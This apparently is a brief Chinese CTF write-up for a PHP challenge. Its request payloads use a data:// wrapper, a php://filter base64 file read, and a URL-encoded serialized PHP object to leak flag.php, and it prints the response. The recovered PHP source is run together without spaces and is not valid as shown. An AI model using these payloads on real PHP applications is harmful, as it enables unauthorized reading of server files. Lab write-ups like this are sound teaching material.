/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一个base64编码,解码后为
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php
classFlag{ //flag.php public$file; publicfunction__tostring(){ if(isset($this->file)){ echofile_get_contents($this->file); echo"<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
1 2 3 4 5 6
响应:
welcome to the zjctf
PGJyPm9oIHUgZmluZCBpdCA8L2JyPgoKPCEtLWJ1dCBpIGNhbnQgZ2l2ZSBpdCB0byB1IG5vdy0tPgoKPD9waHAKCmlmKDI9PT0zKXsgIAoJcmV0dXJuICgiZmxhZ3tiYWU2ZDFiYy0yYjk4LTRhYWMtYTM3Yy01ZTZmOTRlYzQ0NGJ9Iik7Cn0KCj8+Cg== U R SO CLOSE !///COME ON PLZ